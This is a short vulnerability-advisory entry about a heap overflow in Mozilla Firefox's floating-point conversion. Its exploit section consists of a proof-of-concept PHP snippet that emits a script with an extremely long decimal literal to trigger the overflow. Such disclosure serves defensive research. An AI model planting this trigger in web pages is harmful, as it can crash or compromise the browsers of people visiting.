• info
• discussion
• exploit
• solution
• references

Mozilla Firefox Floating Point Conversion Heap Overflow Vulnerability

The following proof of concept PHP code is available:

<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>